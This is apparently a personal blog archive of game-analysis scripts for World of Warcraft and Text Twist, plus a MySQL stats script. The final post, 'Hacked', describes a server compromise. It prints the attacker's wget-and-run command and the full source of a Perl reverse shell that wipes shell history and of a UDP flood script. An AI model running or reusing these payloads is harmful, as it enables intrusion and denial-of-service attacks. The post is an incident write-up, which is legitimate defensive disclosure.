Sources of Holy Power Generation

Note: The information present in this post is a couple of months out of date. I’ve not had the time to re-update WoL data and create new graphs, but thought it might be interesting share the data/code anyway

When choosing a Holy Paladin spec for 10 mans I was never completely sure about benefits of Tower of Radiance or Blessed Life. ToR seems like a safe choice, though the frequency that you DL/FoL your beacon seemed low. Blessed Life on the other hand was obviously a PvP talent, but it would generate free HP from some raid damage.

I set out to scrape the top 200 Paladins for each 10-N boss fights from World of Logs and record their source of HP generation. I created two graphs; one that looks at all 200 parses in general, and a second that only counts when the ability is present. e.g. Only 10 or so Paladins used CS on Cho’gall, and they generated very little HP overall, but if you just look at lose 10 parses, the average is 8. This is used as a crude way to see when certain talents are taken.

Overall

Only when abilities are present

I’ve included the python code used to generate the data for these graphs below. My general disclaimer applies (i.e. be afraid)

grab-details.py

import urllib2
import re

pages = {
    'magmaw-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Magmaw/10N/Holy_Paladin/',
                    'http://worldoflogs.com/rankings/players/Blackwing_Descent/Magmaw/10N/Holy_Paladin/?page=2',
                    'http://worldoflogs.com/rankings/players/Blackwing_Descent/Magmaw/10N/Holy_Paladin/?page=3',
                    'http://worldoflogs.com/rankings/players/Blackwing_Descent/Magmaw/10N/Holy_Paladin/?page=4',
                    'http://worldoflogs.com/rankings/players/Blackwing_Descent/Magmaw/10N/Holy_Paladin/?page=5'],

    'omnitron-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Omnitron_Defense_System/10N/Holy_Paladin/',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Omnitron_Defense_System/10N/Holy_Paladin/?page=2',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Omnitron_Defense_System/10N/Holy_Paladin/?page=3',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Omnitron_Defense_System/10N/Holy_Paladin/?page=4',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Omnitron_Defense_System/10N/Holy_Paladin/?page=5'],

    'chimaeron-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Chimaeron/10N/Holy_Paladin/',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Chimaeron/10N/Holy_Paladin/?page=2',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Chimaeron/10N/Holy_Paladin/?page=3',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Chimaeron/10N/Holy_Paladin/?page=4',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Chimaeron/10N/Holy_Paladin/?page=5'],

    'atramedes-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Atramedes/10N/Holy_Paladin/',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Atramedes/10N/Holy_Paladin/?page=2',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Atramedes/10N/Holy_Paladin/?page=3',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Atramedes/10N/Holy_Paladin/?page=4',
                       'http://worldoflogs.com/rankings/players/Blackwing_Descent/Atramedes/10N/Holy_Paladin/?page=5'],

    'maloriak-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Maloriak/10N/Holy_Paladin/',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Maloriak/10N/Holy_Paladin/?page=2',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Maloriak/10N/Holy_Paladin/?page=3',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Maloriak/10N/Holy_Paladin/?page=4',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Maloriak/10N/Holy_Paladin/?page=5'],

    'nefarian-10-n': ['http://worldoflogs.com/rankings/players/Blackwing_Descent/Nefarian/10N/Holy_Paladin/',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Nefarian/10N/Holy_Paladin/?page=2',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Nefarian/10N/Holy_Paladin/?page=3',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Nefarian/10N/Holy_Paladin/?page=4',
                      'http://worldoflogs.com/rankings/players/Blackwing_Descent/Nefarian/10N/Holy_Paladin/?page=5'],

    'halfus-10-n': ['http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Halfus_Wyrmbreaker/10N/Holy_Paladin/',
                    'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Halfus_Wyrmbreaker/10N/Holy_Paladin/?page=2',
                    'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Halfus_Wyrmbreaker/10N/Holy_Paladin/?page=3',
                    'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Halfus_Wyrmbreaker/10N/Holy_Paladin/?page=4',
                    'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Halfus_Wyrmbreaker/10N/Holy_Paladin/?page=5'],

    'valiona-10-n': ['http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Valiona_&_Theralion/10N/Holy_Paladin/',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Valiona_&_Theralion/10N/Holy_Paladin/?page=2',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Valiona_&_Theralion/10N/Holy_Paladin/?page=3',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Valiona_&_Theralion/10N/Holy_Paladin/?page=4',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Valiona_&_Theralion/10N/Holy_Paladin/?page=5'],

    'twilight-10-n': ['http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Twilight_Ascendant_Council/10N/Holy_Paladin/',
                      'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Twilight_Ascendant_Council/10N/Holy_Paladin/?page=2',
                      'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Twilight_Ascendant_Council/10N/Holy_Paladin/?page=3',
                      'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Twilight_Ascendant_Council/10N/Holy_Paladin/?page=4',
                      'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Twilight_Ascendant_Council/10N/Holy_Paladin/?page=5'],

    'chogall-10-n': ['http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Cho\'gall/10N/Holy_Paladin/',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Cho\'gall/10N/Holy_Paladin/?page=2',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Cho\'gall/10N/Holy_Paladin/?page=3',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Cho\'gall/10N/Holy_Paladin/?page=4',
                     'http://worldoflogs.com/rankings/players/Bastion_of_Twilight/Cho\'gall/10N/Holy_Paladin/?page=5'],

    'conclave-10-n': ['http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Conclave_of_Wind/10N/Holy_Paladin/',
                      'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Conclave_of_Wind/10N/Holy_Paladin/?page=2',
                      'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Conclave_of_Wind/10N/Holy_Paladin/?page=3',
                      'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Conclave_of_Wind/10N/Holy_Paladin/?page=4',
                      'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Conclave_of_Wind/10N/Holy_Paladin/?page=5'],

    'alakir-10-n': ['http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Al\'Akir/10N/Holy_Paladin/',
                    'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Al\'Akir/10N/Holy_Paladin/?page=2',
                    'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Al\'Akir/10N/Holy_Paladin/?page=3',
                    'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Al\'Akir/10N/Holy_Paladin/?page=4',
                    'http://worldoflogs.com/rankings/players/Throne_of_the_4_Winds/Al\'Akir/10N/Holy_Paladin/?page=5'],

}

def extract_player_pages(url):
    regex   = "<td><a href='(/reports/[^']+)'>([^<]+)</a></td>"
    html    = urllib2.urlopen(url).read()
    matches = re.findall(regex, html)

    return matches

def extract_player_details(report_url, player_name):
    # First load the healing summary page
    url   = 'http://worldoflogs.com' + report_url
    html  = urllib2.urlopen(url).read()
    match = re.search("<a href='(/reports/[^']+)'>" + player_name + "</a>", html)

    # now load the players healing detail page
    url   = 'http://worldoflogs.com' + match.group(1)
    html  = urllib2.urlopen(url).read()

    return html


for boss in pages:
    print boss

    for url in pages[boss]:
        reports = extract_player_pages(url)

        for report_details in reports:
            report_url         = report_details[0]
            report_player_name = report_details[1]

            print 'Extracting', report_player_name

            html = extract_player_details(report_url, report_player_name)
            f    = open('data/' + boss + '/' + report_player_name, 'w+')
            f.write(html)
            f.close()

print 'Done'

generate-report.py

import glob
import re

# Spell IDs
HOLY_SHOCK         = 20473
ETERNAL_GLORY      = 88676
TOWER_OF_RADIANCE  = 88852
BLESSED_LIFE       = 89023
PURSUIT_OF_JUSTICE = 89024
CRUSADER_STRIKE    = 35395

bosses = [
    'alakir-10-n',
    'atramedes-10-n',
    'chimaeron-10-n',
    'chogall-10-n',
    'conclave-10-n',
    'halfus-10-n',
    'magmaw-10-n',
    'maloriak-10-n',
    'nefarian-10-n',
    'omnitron-10-n',
    'twilight-10-n',
    'valiona-10-n',
]


def extract_holy_power(html):
    regex   = r"            <td class='name'><a href='/reports/[^']+' rel='spell=(\d+)' class='spell'><span [^>]+>([^<]+)</span></a>\S+\n           <td>(\d+) holy power</td>"
    matches = re.findall(regex, html)

    results = {}

    for match in matches:
        (spell_id, spell_name, count) = match
        results[int(spell_id)] = int(count)

    return results


def generate_holy_power_summary(boss):
    summary = {}

    files = glob.glob('data/' + boss + '/*')
    for file in files:
        html = open(file, 'r').read()
        results = extract_holy_power(html)

        for spell_id in results:
            count = results[spell_id]
            if not summary.has_key(spell_id):
                summary[spell_id] = []
            summary[spell_id].append(count)

    return summary


report_on = [
    {'spell_name': 'HOLY_SHOCK', 'spell_id': HOLY_SHOCK},
    {'spell_name': 'ETERNAL_GLORY', 'spell_id': ETERNAL_GLORY},
    {'spell_name': 'TOWER_OF_RADIANCE', 'spell_id': TOWER_OF_RADIANCE},
    {'spell_name': 'BLESSED_LIFE', 'spell_id': BLESSED_LIFE},
    {'spell_name': 'PURSUIT_OF_JUSTICE', 'spell_id': PURSUIT_OF_JUSTICE},
    {'spell_name': 'CRUSADER_STRIKE', 'spell_id': CRUSADER_STRIKE},
]


for boss in bosses:
    print
    print boss

    summary = generate_holy_power_summary(boss)

    if not summary.has_key(HOLY_SHOCK):
        print 'Skipping, no data'
        continue

    total_count = len(summary[HOLY_SHOCK])

    print 'Total reports', total_count

    if total_count == 0:
        continue

    for report_details in report_on:
        if not summary.has_key(report_details['spell_id']):
            print report_details['spell_name'], 0
            continue

        spell_count   = len(summary[report_details['spell_id']])
        total_average = sum(summary[report_details['spell_id']]) / total_count
        spell_average = sum(summary[report_details['spell_id']]) / spell_count

        print report_details['spell_name'], total_average

Posted on 05. April 2011

Text Twist Bot

Yesterday I watched someone play a bit of the browser based game Text Twist. Upon trying myself I found that I was awful, so I did what any programmer would do; cheated.

Results of a few hours hacking:

Features:

  • Scan for game area and crash and burn if it’s not detected
  • (Crudely) detect what letters are shown
  • Find all 3, 4, 5 and 6 letter combinations, and then throw them against a basic word list + simple anagram lookup table
  • Send key presses to the window to (try and) solve all possible words (and overwrite any work you were doing when the window loses focus)
  • Reliably gets all but one or two words for each puzzle, leaving you plenty of time to go crazy trying to finish it

Horrible source for the curious (it should at least help anyone wondering how to send key presses, or capture the current screen in python)

TextTwistBot.py

# Text Twist Bot
# http://games.yahoo.com/game/text-twist

import win32com.client as comclt
from time import sleep

from PIL import ImageGrab
from itertools import combinations

from Board import Board
from Pixels import Pixels
from Anagrams import Anagrams


def sorted_unique_character_groups(letters, length):
    c = list(combinations(''.join(letters), length))
    c = [''.join(e) for e in c]
    c = list(set(c))
    c.sort()
    return c


anagrams = Anagrams('ispell-enwl-3.1.20/english.all')
pixels   = Pixels(ImageGrab.grab())
board    = Board(pixels)
letters  = board.get_letters()

# letters = ['d', 'e', 'l', 'a', 'p', 'd']
possible_answers = []
lengths = [3,4,5,6]

for length in lengths:
    words = sorted_unique_character_groups(letters, length)
    for word in words:
        possible_answers.extend(anagrams.find(word))

possible_answers = list(set(possible_answers))

print possible_answers


wsh = comclt.Dispatch("WScript.Shell")
wsh.AppActivate("Windows Internet Explorer")

for word in possible_answers:
    for letter in word:
        wsh.SendKeys(letter)
        sleep(0.05)
    wsh.SendKeys("\n")

print 'Done'

Pixels.py

class Pixels:
    def __init__(self, img):
        self.img = img
        self.data = list(img.getdata())
        (self.width, self.height) = img.size

    def at(self, x, y):
        offset = (y * self.width) + x
        return self.data[offset]

    def grab_area(self, x1, y1, x2, y2):
        raw = []
        for y in range(y1, y2):
            for x in range(x1, x2):
                raw.append(self.at(x, y))
        return raw

Anagrams.py

class Anagrams:
    def __init__(self, word_list):
        self._load_word_list(word_list)

    def _load_word_list(self, filename):
        print 'Loading word list...',
        lines = open(filename).readlines()
        words = [line.strip().lower() for line in lines]

        self.lookup = {}

        for word in words:
            key = self._sort_letters(word)
            if key not in self.lookup:
                self.lookup[key] = []
            if word not in self.lookup[key]:
                self.lookup[key].append(word)
        print 'Done'

    def _sort_letters(self, word):
        letters = [l for l in word]
        letters.sort()
        return ''.join(letters)

    def find(self, word):
        key = self._sort_letters(word)
        if key not in self.lookup:
            return []
        results = self.lookup[key]
        #if word in results:
        #    results.remove(word)
        return results

Board.py (be afraid)

class Board:
    def __init__(self, pixels):

        # Color of the outside border, used to find the edges of the game
        self.border_green = (204, 255, 0)

        # Bounding boxes for each letter (including the circle and background)
        # Each letter is 45x45
        # I've chopped off 8pixels from each side to remove any background
        self.letter_coords = [
            ((161+8, 178+8), (161+45-8, 178+45-8)),
            ((215+8, 178+8), (215+45-8, 178+45-8)),
            ((269+8, 178+8), (269+45-8, 178+45-8)),
            ((323+8, 178+8), (323+45-8, 178+45-8)),
            ((377+8, 178+8), (377+45-8, 178+45-8)),
            ((431+8, 178+8), (431+45-8, 178+45-8)),
        ]

        # Pixel data for each letter
        self.letter_data = {
            # Snipped 300Kb of data
            # Yikes, didn't realize it was so big
            # If anyone actually cares for the letter data, you
            # can reconstruct it from error messages.
            #
            # Format is:
            #
            # 'a': [(r, g, b), (r, g, b)....],
            # 'b': [(r, g, b), (r, g, b)....],
        }

        self.pixels = pixels
        self._get_edges()

    def _get_edges(self):
        horz = self._find_pixels(range(0, self.pixels.width),      range(0, self.pixels.height, 100), self.border_green)
        vert = self._find_pixels(range(0, self.pixels.width, 100), range(0, self.pixels.height),      self.border_green)

        left   = min([x for (x,y) in horz])
        right  = max([x for (x,y) in horz])
        top    = min([y for (x,y) in vert])
        bottom = max([y for (x,y) in vert])

        self.left   = left
        self.right  = right
        self.top    = top
        self.bottom = bottom

    def _find_pixels(self, x_range, y_range, color):
        edges = []
        for y in y_range:
            for x in x_range:
                if self.pixels.at(x, y) == color:
                    edges.append((x, y))
        return edges

    def get_letters(self):
        letters = []
        for coords in self.letter_coords:
            x1 = coords[0][0] + self.left
            x2 = coords[1][0] + self.left

            y1 = coords[0][1] + self.top
            y2 = coords[1][1] + self.top

            data = self.pixels.grab_area(x1, y1, x2, y2)

            # print 'Got data for pos', coords
            found = False
            for key in self.letter_data:
                if self.letter_data[key] == data:
                    letters.append(key)
                    found = True
                    break

            if found == False:
                print '\'?\':', data, ','
        return letters

Posted on 16. March 2011

Tyrande's Doll and Power Auras

Quickstart guide for setting up a reminder for Tyrande’s Favorite Doll using Power Auras.

  1. Create the first effect to track the mana gained buff. There is no need to adjust any of the aura visuals here as you won’t see this effect.
  2. The effect should be activated by Buff with the name Recaptured Mana, and the tooltip should contain the string 4200
  3. Close the effect window and disable the newly created effect (shift + click). Also made a note of its ID by mousing over it.
  4. Create a second effect. This will track the cooldown on the trinket (1min) as well as reference the first effect.
  5. Chose Action Usable and enter the name Tyrande’s Favorite Doll and finally enter the ID of the first effect into the next textbox (in the example the ID is 9.
  6. Customize the visuals to suite, optionally add a sound effect, and you’re done.


Posted on 31. January 2011

Initial Divine Guardian Tests

I been wanting to look in the effectiveness of the 20% raid wall granted by Divine Guardian (4th tier talent in a Paladin’s protection tree). To do this I wrote a very simple Python program to read the combat log, detect with DG goes up and then record all the damage that was taken while it was present on a unit, and work out how much was mitigated. Of course, as the script was hacked up, it has all sorts of limitations:

  • Ignores Divine Sacrifice
  • Ignores any other mitigation effects (Talents / Sanc / Inspiration / etc)
  • Ignores overkills
  • Undefined behavior when used by two Paladins

Below is the results for a two nights in ICC 25, while I’m sure it’s not 100% it should be a reasonable ballpark figure.

Fight Damage Mitigated via DG
Gaseous Blight 37057
Gaseous Blight 32664
Ooze Explosion/Melee 39923
Trash before Blood Queen 21145
Blood Queen (Fear/Bloodbolt) 42212
Blood Queen (Fear/Bloodbolt) 54410
Blood Queen (Fear/Bloodbolt) 17679
Blood Queen (Fear/Bloodbolt) 29315
Blood Queen (Fear/Bloodbolt) 32029
Blood Queen (Fear/Bloodbolt) 51281
Blood Queen (Fear/Bloodbolt) 34494
Blood Queen (Fear/Bloodbolt) 14201
Blood Queen (Fear/Bloodbolt) 41417
Blood Queen (Fear/Bloodbolt) 18817
Blood Queen (Fear/Bloodbolt) 35641
Blood Queen (Fear/Bloodbolt) 49571
Blood Queen (Fear/Bloodbolt) 26427
Average 34017

Posted on 03. February 2010

Javascript; sending me insane 

>>> []
[]
>>> [] == true
false
>>> [] == false
true
>>> [] == []
false
>>> false == false
true

Posted on 19. January 2010

How to win friends and pad meters

Introduction to Holy Paladin Healing in 3.2 / 3.3

Spec

  • Base Holy tree looks something like this talent tree
    • Points in Imp Wis and Bless Hands can be moved about if you’d prefer
  • Then either go 17 points into Prot for Divine Guardian, or 20 points into Ret for Crit + Run Speed

Glyphs

  • Glyph of Holy Light
  • Glyph of Wisdom
  • Glyph of Beacon of Light (My preference)

Addons

Gear

  • Int > *
  • Use a Insightful Earthsiege Diamond Meta. Always
  • Socket +20 Int in everything, use a single Nightmare Tear (+10 all stats) to activate the meta
  • Haste is a great throughput stat, 500-650 is a nice area to aim for
  • Don’t worry too much about your crit / mp5. Keep them balance, it will come naturally on your gear

Healing

  • Assuming a non trivial fight (else do what ever the hell you want, it’s not important)
  • Your job will be to keep the tanks up, and help out on the raid when safe
  • Make sure you can see debuffs. If you use Grid either add the debuffs for each encounter yourself, or install a Grid addon that does it for you
  • Pick the player that will take most damage during the fight, this will normally be the MT
    • Put Beacon on them. Keep it up. Don’t let it drop.
    • Beacon has a 60yard range, use this to your advantage (e.g. If phase 2 of beasts you can spread out more than other healers and still heal both tanks)
    • Note: With Multiple Paladins, if may be wise to split the Beacons depending on the fight. For example:
      • Beasts doesn’t matter, you’ll be healing the two tanks almost all the time (phase 1 + 2)
      • Jaraxxus split between OT and MT (the OT will take similar amounts of damage, that can be more spikey [Asmuing your interupters don’t suck])
      • Twins split, raid healing is very high compared to tank damage
  • Keep JotP up. Always. It’s one GCD every 60s for 15% Haste.
    • Judge Light to pad meters, judge Wisdom to keep hunters from QQ’ing
    • Don’t wait till 5s before refreshing the buff, do it when the tank isn’t taking much damage and the raid is nice and high
    • Judge = Melee attack = Change of Seal of Wisdom proc
  • If you’re Holy/Prot; keep SS up, like judgements, refresh early when it’s safe
  • Spam HL on Target taking damage that you haven’t placed Beacon on (OT, or Raid members)
  • Be Awesome

Dealing with Mana

  • FoL isn’t useless, use it to save mana when you know the there is little damage (First 2-3 impales on beasts). Just don’t let anyone die.
  • Time Divine Plea with natural breaks in the fight (phase change, or little damage) don’t leave it till you’re out of mana
  • Use Divine Illumination early so you can use it several times during en encounter
  • Abuse Seal of Wisdom when it’s safe. e.g.
    • Icehowl, after a stun (make sure you leave melee range before the stun wears off to avoid the knock back)
    • Jarraxus when no adds are up (you need to pay very close attention to what’s going on)
    • Twins, when there aren’t too many orbs about
    • Anub’Arak, on phase change whack the Scarabs and even Anub himself in between Holy Lights

Posted on 22. December 2009

Total MySQL rows

Turns out our Mysql server at work is a little bigger than I thought:

Databases 75
Tables    1,549
Rows      1,018,085,348

However over the last couple of months, we’ve only averaged 130 queries/second

Hacked up PHP to gather stats:

<?php

class MysqlCounter
{
    public function __construct($host, $username, $password)
    {
        $this->conn = mysql_connect($host, $username, $password, true);

        if($this->conn === false)
        {
            throw new Exception("Unable to connect to Mysql server: " . mysql_error());
        }

        $this->num_databases = 0;
        $this->num_tables = 0;
        $this->num_rows = 0;
    }

    private function query($sql)
    {
        $query = mysql_query($sql, $this->conn);

        if($query === false)
        {
            throw new Exception("Unable to run query: $sql\n" . mysql_error($this->conn));
        }

        if($query === true)
        {
            return array();
        }

        $rows = array();

        while ($row = mysql_fetch_array($query))
        {
            $rows[] = $row;
        }

        return $rows;
    }

    public function gather_stats($callback = false)
    {
        foreach($this->query("SHOW DATABASES") as $row_database)
        {
            $this->num_databases++;

            $this->query("USE `{$row_database['Database']}`");

            foreach($this->query("SHOW TABLE STATUS") as $row_table)
            {
                $this->num_tables++;
                $this->num_rows += $row_table['Rows'];

                if($callback !== false)
                {
                    $args = array($row_database['Database'], $row_table['Name'], $row_table['Rows']);
                    call_user_func_array($callback, $args);
                }
            }
        }
    }

    public static function default_callback($database, $table, $rows)
    {
        printf("%s %s %d\n", $database, $table, $rows);
    }
}

$counter = new MysqlCounter('hostname', 'username', 'password');
$counter->gather_stats(array('MysqlCounter', 'default_callback'));

echo "Databases {$counter->num_databases}\n";
echo "Tables    {$counter->num_tables}\n";
echo "Rows      {$counter->num_rows}\n";

Posted on 09. September 2009

No One Likes a Tattletale

DesuToys

Posted on 05. September 2009

WoW Combat Log Splitter

Something quick I whipped up last night, after noticing that after my log file was > 4GB the WorldOfLogs parser will no longer do real time logging.

Edit: Turns out that the WoW client itself stopped logging, even though the log file was a little over expected limit (4,334,806,196 bytes)

Note: The code is just a one off script; things are hard coded, and it’s pretty slow (100MB a minute)

#!/usr/bin/env python

import re
import datetime

GAP_SIZE_IN_SECONDS = 60 * 60

class CombatLog:
    def __init__(self, filename):
        self.filename = filename

    def process(self):
        last_timestamp = None
        line_count = 0
        split_log = None

        for line in open(self.filename):
            line_count += 1
            timestamp = self.parse_timestamp(line)

            if timestamp == None:
                print "Unparsable data on line %d" % (line_count,)
                print repr(line)
                print
                continue

            # To handle the first line
            if last_timestamp == None:
                last_timestamp = timestamp
                split_log = Appender(timestamp)
                print "Starting new file", split_log.filename

            difference = timestamp - last_timestamp

            if difference.seconds > GAP_SIZE_IN_SECONDS:
                # Close the old log file, and start a new one
                split_log.close()
                split_log = Appender(timestamp)

                print "Starting new file", split_log.filename


            split_log.append(line)
            last_timestamp = timestamp

            if line_count % 100000 == 0:
                print "Processed %d lines" % (line_count,)



    def parse_timestamp(self, line):
        # m/d hh:mm:ss.msec
        # 6/6 21:04:29.435
        regex = r"^(\d+)/(\d+) (\d+):(\d+):(\d+).(\d+) "

        matches = re.search(regex, line)

        if matches == None:
            return None

        timestamp = datetime.datetime(2009,
                                      int(matches.group(1)),
                                      int(matches.group(2)),
                                      int(matches.group(3)),
                                      int(matches.group(4)),
                                      int(matches.group(5)),
                                      int(matches.group(6))*1000);

        return timestamp


class Appender:
    def __init__(self, timestamp):
        self.filename = "WoWCombatLog_" + timestamp.strftime("%Y%m%d_%H%M%S") + ".txt"
        self.handle = open(self.filename, 'a')

    def append(self, line):
        self.handle.write(line)

    def close(self):
        self.handle.close()


splitter = CombatLog("../WoWCombatLog.20090904.txt")
splitter.process()

print "Done"

Comment from Cryoclasm on August 9th 2011

Here’s an improved version of the timestamp function that eliminates the hard-coded year 2009. It should work properly as long as the clock hasn’t been set back since the start of the last log (may be an issue for speed-kill runs when DST ends) and the oldest log entry is less than a year old.

def parse_timestamp(self, line):
# m/d hh:mm:ss.msec
# 6/6 21:04:29.435
regex = r”^(\d+)/(\d+) (\d+):(\d+):(\d+).(\d+) ”

matches = re.search(regex, line)

if matches == None:
return None

now = datetime.datetime.now()

timestamp = datetime.datetime(now.year,
int(matches.group(1)),
int(matches.group(2)),
int(matches.group(3)),
int(matches.group(4)),
int(matches.group(5)),
int(matches.group(6))*1000);

if timestamp > now: # this log is from last year
timestamp.year -= 1

return timestamp

Posted on 04. September 2009

Hacked

Yep, I was hacked 5 days ago. Seems I’ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).

From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you wanted. CVE-2009-1151. An implementation of that attack is available from GNU Citizen

Of course after that, you’re able to do anything the web server can. The command that was run on my server was:

/admin/phpmyadmin/config/config.inc.php?c=cd%20/tmp;wget%20mixtheremix.ucoz.com/robot.txt;perl%20robot.txt;rm%20-rf%20robot.txt

ucoz.com is a free website service. I was also unable to recover robot.txt

The script appear to download and execute two scripts:

back.txt

#!/usr/bin/perl
use IO::Socket;
$system    = '/bin/bash';
$ARGC=@ARGV;
print "--== Fucking Machine ==-- \n\n";
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Spawning Shell \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== Thuraya Team ==--  \n\n";
system("unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);

udp.pl

#!/usr/bin/perl


use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "for any info vizit http://hacking.3xforum.ro/ \n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Amu Floodez $ip pe portu $port \n";
printf "daca nu pica in 10 min dai pe alt port \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

What I’ve learnt:

  • Keep PHPMyAdmin up to date, because they suck at security (The whole idea of a PHP script being able to write a PHP script is stupid)
    • (Failing the last point) Don’t leave un-maintained PHP scripts in publicly accessible locations
    • Investigate in a way to disable system/eval in PHP (with a whitelist)

Posted on 01. September 2009

©2006-2026 Matthew Davey